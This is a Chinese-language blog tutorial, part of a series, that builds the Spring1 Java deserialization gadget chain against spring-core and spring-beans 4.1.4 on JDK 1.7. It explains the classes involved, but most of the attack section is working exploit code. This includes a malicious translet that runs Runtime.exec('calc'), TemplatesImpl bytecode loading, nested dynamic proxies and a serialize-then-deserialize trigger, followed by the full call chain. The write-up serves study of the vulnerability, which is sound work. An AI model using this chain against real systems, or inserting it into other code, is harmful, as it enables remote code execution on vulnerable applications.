JAVA反序列化深入学习(十一):Spring1

发布于:2025-04-05 ⋅ 阅读:(23) ⋅ 点赞:(0)

springframework 是spring 里面的一个基础开源框架,主要用于javaee的企业开发

Spring是什么呢?首先它是一个开源的项目,而且非常活跃

  • 它是一个基于IOC和AOP的构架多层j2ee系统的框架,但它不强迫你必须在每一层中必须使用Spring,因为它模块化的很好,允许你根据自己的需要选择使用它的某一个模块
  • 它实现了很优雅的MVC,对不同的数据访问技术提供了统一的接口,采用IOC使得可以很容易的实现bean的装配,提供了简洁的AOP并据此实现Transaction Management

springframework也存在反序列化的漏洞

JAVA环境

java version "1.7.0_80"

Java(TM) SE Runtime Environment (build 1.7.0_80-b15)

Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)

依赖版本

  • spring-core 依赖版本:4.1.4.RELEASE
  • spring-beans 依赖版本:4.1.4.RELEASE
  • jdk 版本:1.7

检查依赖配置

确认项目中是否正确引入了

  • spring-core
  • spring-beans

的依赖。如果使用的是 Maven,可以在 pom.xml 文件中添加以下依赖:

<!-- https://mvnrepository.com/artifact/org.springframework/spring-beans -->
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-beans</artifactId>
    <version>4.1.4.RELEASE</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-core -->
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-core</artifactId>
    <version>4.1.4.RELEASE</version>
</dependency>

资源下载

前置知识

MethodInvokeTypeProvider - kick-off

在 Spring 核心包中存在这样一个内部类:

org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider

static class MethodInvokeTypeProvider implements TypeProvider {
    ...
}
构造方法

这个类实现了 TypeProvider 接口,是一个可以被反序列化的类

public MethodInvokeTypeProvider(TypeProvider provider, Method method, int index) {
    this.provider = provider;
    this.methodName = method.getName();
    this.index = index;
    this.result = ReflectionUtils.invokeMethod(method, provider.getType());
}
readObject

看一下 readObject 方法,调用了 ReflectionUtils

  1. 先是 findMethod 返回 Method 对象
  2. 然后调用 invokeMethod 反射调用
    1. 注意,这里的调用是无参调用
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
    inputStream.defaultReadObject();
    Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);
    this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());
}

虽然使用了反射去获取方法,但这是在 this.provider.getType().getClass() 中寻找方法

如果可以

  • methodName 改为 newTransformer 方法
  • this.provider.getType() 想办法处理成 TemplatesImpl

就可以触发漏洞了

ObjectFactoryDelegatingInvocationHandler - chain

在 Spring Beans包中存在这样一个内部类:

org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler

private static class ObjectFactoryDelegatingInvocationHandler implements InvocationHandler, Serializable {
    ...
}
构造方法

ObjectFactoryDelegatingInvocationHandlerInvocationHandler 的实现类,实例化时接收一个 ObjectFactory 对象

public ObjectFactoryDelegatingInvocationHandler(ObjectFactory<?> objectFactory) {
    this.objectFactory = objectFactory;
}
invoke

invoke 代理时调用 ObjectFactorygetObject 方法返回 ObjectFactory 的实例用于 Method 的反射调用

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    String methodName = method.getName();
    if (methodName.equals("equals")) {
        // Only consider equal when proxies are identical.
        return (proxy == args[0]);
    }
    else if (methodName.equals("hashCode")) {
        // Use hashCode of proxy.
        return System.identityHashCode(proxy);
    }
    else if (methodName.equals("toString")) {
        return this.objectFactory.toString();
    }
    try {
        return method.invoke(this.objectFactory.getObject(), args);
    }
    catch (InvocationTargetException ex) {
        throw ex.getTargetException();
    }
}
  • ObjectFactorygetObject 方法返回的对象是泛型(T)的
    • ObjectFactory<T>中的T是泛型类型参数,允许在编译时指定具体类型,确保类型安全
    • getObject方法返回类型为T,这意味着它可以返回任何类型的对象,具体类型在实现时确定
  • 那就可以用 AnnotationInvocationHandler 来代理,返回任意对象
    • 动态代理允许在运行时创建代理类,代理类实现指定接口,并在方法调用时执行额外逻辑
    • ObjectFactory返回的泛型对象允许代理处理任何类型,而动态代理则提供代理这些对象的能力

ObjectFactoryDelegatingInvocationHandler 自己本身就是代理类(InvocationHandler 的实现类),可以用它代理之前的TypeProvidergetType 方法

攻击构造

Spring1 的动态代理构造有些复杂,建议读者先看前面两个前置知识里写的类自己思考一下怎么将其结合,这里尽量拆分代码

恶意代码主体

public void Spring1() throws Exception {

    // 生成包含恶意类字节码的 TemplatesImpl 类
    TemplatesImpl tmpl = generateTemplatesImpl();

    // 使用 AnnotationInvocationHandler 动态代理
    Class<?>       c           = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor<?> constructor = c.getDeclaredConstructors()[0];
    constructor.setAccessible(true);

    Type typeTemplateProxy = ObjectFactoryDelegatingInvocationHandler(constructor, tmpl);

    Object objects = TypeProvider(constructor, typeTemplateProxy);

    writeObjectToFile((Serializable)objects, fileName);
    readFileObject(fileName);
}

恶意TemplatesImpl构造

生成包含恶意类字节码的 TemplatesImpl 类,跟之前的都类似,不再赘述

protected TemplatesImpl generateTemplatesImpl()  throws IOException, NoSuchFieldException, IllegalAccessException {
    // 读取恶意类存到 bytes[] 数组中
    byte[] bytes = Files.readAllBytes(Paths.get("D:\\EvilClassForSpring1.class"));

    // 初始化 TemplatesImpl 对象
    TemplatesImpl tmpl = new TemplatesImpl();
    Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    bytecodes.set(tmpl, new byte[][]{bytes});

    // _name 不能为空
    Field name = TemplatesImpl.class.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(tmpl, "neolock");

    return tmpl;
}

恶意类构造

import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;

public class EvilClassForSpring1 extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
        // No implementation needed
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) {
        // No implementation needed
    }
}

ObjectFactoryDelegatingInvocationHandler

  1. 使用动态代理初始化 AnnotationInvocationHandler
  2. 使用 AnnotationInvocationHandler 动态代理 ObjectFactorygetObject 方法,使其返回 TemplatesImpl
  3. ObjectFactoryDelegatingInvocationHandler 的 invoke 方法触发 ObjectFactorygetObject,并且会调用 method.invoke(getObject的返回值,args)
    1. 此时返回值被在第2步我们使用动态代理改为了 TemplatesImpl
    2. 接下来需要 method 是 newTransformer(),就可以触发调用链了
  4. 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler
    1. ObjectFactoryDelegatingInvocationHandler 本身就是个 InvocationHandler
      1. 使用它来代理一个类,这样在这个类调用时将会触发 ObjectFactoryDelegatingInvocationHandler 的 invoke 方法
    2. ObjectFactoryDelegatingInvocationHandler代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
      1. 代理类同时拥有两个类的方法
      2. 既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
protected Type ObjectFactoryDelegatingInvocationHandler(Constructor<?> constructor, TemplatesImpl tmpl) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {

    Map<String, Object> map = new HashMap<String, Object>();
    map.put("getObject", tmpl);

    // 使用动态代理初始化 AnnotationInvocationHandler
    InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);

    // 使用 AnnotationInvocationHandler 动态代理 ObjectFactory 的 getObject 方法,使其返回 TemplatesImpl
    ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(
            ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler);

    // ObjectFactoryDelegatingInvocationHandler 的 invoke 方法触发 ObjectFactory 的 getObject,并且会调用 method.invoke(返回值,args)
    // 此时返回值被我们使用动态代理改为了 TemplatesImpl,接下来需要 method 是 newTransformer(),就可以触发调用链了
    Class<?>       clazz          = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
    Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0];
    ofdConstructor.setAccessible(true);

    // 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler
    InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);

    // ObjectFactoryDelegatingInvocationHandler 本身就是个 InvocationHandler
    // 使用它来代理一个类,这样在这个类调用时将会触发 ObjectFactoryDelegatingInvocationHandler 的 invoke 方法
    // 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
    // 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
    Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
            new Class[]{Type.class, Templates.class}, ofdHandler);
    return typeTemplateProxy;
}

TypeProvider

  1. 使用动态代理初始化 AnnotationInvocationHandler
  2. 使用 AnnotationInvocationHandler 动态代理 TypeProvidergetType 方法,使其返回 Type
  3. 初始化 MethodInvokeTypeProvider
    1. MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType())
    2. 所以初始化时先随便给个 method,methodName 后续使用反射写进去
protected Object TypeProvider(Constructor<?> constructor, Type typeTemplateProxy) throws InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, NoSuchFieldException {
    // 接下来代理  TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类
    HashMap<String, Object> map = new HashMap<>();
    map.put("getType", typeTemplateProxy);

    InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);

    Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
    // 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
    Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
            new Class[]{typeProviderClass}, invocationHandler);


    // 初始化 MethodInvokeTypeProvider
    Class<?>       clazz = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
    Constructor<?> cons   = clazz.getDeclaredConstructors()[0];
    cons.setAccessible(true);

    // 由于 MethodInvokeTypeProvider 初始化时会立即调用  ReflectionUtils.invokeMethod(method, provider.getType())
    // 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
    Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
    Field  field   = clazz.getDeclaredField("methodName");
    field.setAccessible(true);
    field.set(objects, "newTransformer");

    return objects;
}

总结

以上就是 Spring1 链分析的全部内容了,梳理动态代理的时候真是一阵一阵地头大,最后总结一下

利用说明

多次动态代理,利用动态代理的反射调用机制延长调用链,Spring1 的链与 Groovy 有些类似

下一篇就梳理一下Groovy吧,Spring2先缓缓

Gadget 总结

  • kick-off gadget:org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider#readObject
  • sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
  • chain gadget:org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler#invoke

调用链展示

SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()
    SerializableTypeWrapper.TypeProvider(Proxy).getType()
	    AnnotationInvocationHandler.invoke()
		    ReflectionUtils.invokeMethod()
			    Templates(Proxy).newTransformer()
				    AutowireUtils$ObjectFactoryDelegatingInvocationHandler.invoke()
					    ObjectFactory(Proxy).getObject()
						    TemplatesImpl.newTransformer()